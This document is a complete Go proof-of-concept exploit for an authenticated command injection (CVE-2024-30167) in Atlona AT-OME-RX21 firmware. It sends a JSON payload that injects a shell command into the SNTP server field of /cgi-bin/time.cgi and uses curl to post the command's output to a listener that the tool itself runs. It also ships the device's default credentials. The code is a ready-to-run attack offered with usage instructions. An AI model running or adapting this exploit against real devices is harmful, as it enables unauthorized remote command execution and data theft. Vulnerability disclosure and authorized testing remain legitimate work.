README.md
Rendering markdown...
// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main
import (
"bytes"
"context"
"encoding/base64"
"flag"
"fmt"
"io"
"net/http"
"os"
"os/signal"
"strings"
"syscall"
"time"
)
func main() {
banner := `
▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████
██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀
▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀
PoC by: github.com/RIZZZIOM
`
fmt.Println(banner)
target := flag.String("t", "", "Target URL (e.g: http://example.com)")
username := flag.String("u", "admin", "Username for authentication")
password := flag.String("p", "Atlona", "Password for authentication")
lport := flag.String("P", "4444", "listening port for command output")
lhost := flag.String("l", "", "listening host for command output")
command := flag.String("c", "", "Command to execute on the target")
flag.Parse()
if *target == "" || *lhost == "" || *command == "" {
fmt.Println("ERROR: Missing required parameters")
flag.PrintDefaults()
os.Exit(1)
}
url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
listener := *lhost + ":" + *lport
// Buffered channel to prevent goroutine blocking if receiver exits early
responseChan := make(chan struct{}, 1)
// Create context for graceful shutdown coordination
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// Start HTTP server and get reference for shutdown
server := httpServe(listener, responseChan, ctx)
executeCommand(url, *username, *password, listener, *command)
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
// Timeout to prevent indefinite waiting
responseTimeout := time.NewTimer(30 * time.Second)
defer responseTimeout.Stop()
select {
case <-responseChan:
time.Sleep(1 * time.Second)
case <-sigChan:
fmt.Printf("\n===Shutting Down===\n")
case <-responseTimeout.C:
fmt.Println("\n===Response Timeout - No response received===")
}
// Graceful server shutdown
cancel() // Signal context cancellation
shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
defer shutdownCancel()
if err := server.Shutdown(shutdownCtx); err != nil {
fmt.Printf("Server shutdown error: %v\n", err)
}
}
func executeCommand(url, username, password, listener, command string) {
// this func sends the commands to the target
payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
if err != nil {
panic(err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Basic "+auth)
req.Header.Set("X-Requested-With", "XMLHttpRequest")
client := &http.Client{
Timeout: 15 * time.Second,
}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("ERROR: Request failed: %v\n", err)
os.Exit(1)
}
defer resp.Body.Close()
switch resp.StatusCode {
case 200:
fmt.Println("Command Injection Successful")
case 401, 403:
fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
case 404:
fmt.Printf("ERROR: Target Endpoint Not Found.\n")
default:
fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
body, _ := io.ReadAll(resp.Body)
if len(body) > 0 {
fmt.Printf("Response Body: %s\n", string(body))
}
os.Exit(1)
}
}
func getResponse(r *http.Request, responseChan chan struct{}) {
// this function serves and http server and collects response
if r.Method != http.MethodPost {
fmt.Printf("Received non-POST Request(%s)\n", r.Method)
return
}
defer r.Body.Close()
fmt.Println("\n=====Received Response=====")
body, err := io.ReadAll(r.Body)
if err != nil {
fmt.Printf("Failed To Read Response Body: %v\n", err)
return
}
fmt.Println(string(body))
// Non-blocking send to prevent goroutine deadlock
select {
case responseChan <- struct{}{}:
default:
}
}
func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
// this function gets the command injection response from the custom header
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
getResponse(r, responseChan)
w.WriteHeader(http.StatusNoContent)
})
server := &http.Server{
Addr: listener,
Handler: mux,
MaxHeaderBytes: 20 * 1024 * 1024,
ReadTimeout: 30 * time.Second,
WriteTimeout: 30 * time.Second,
IdleTimeout: 60 * time.Second,
}
fmt.Printf("Listening on %s for response...\n", listener)
go func() {
if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
fmt.Printf("ERROR: Server error: %v\n", err)
}
}()
return server
}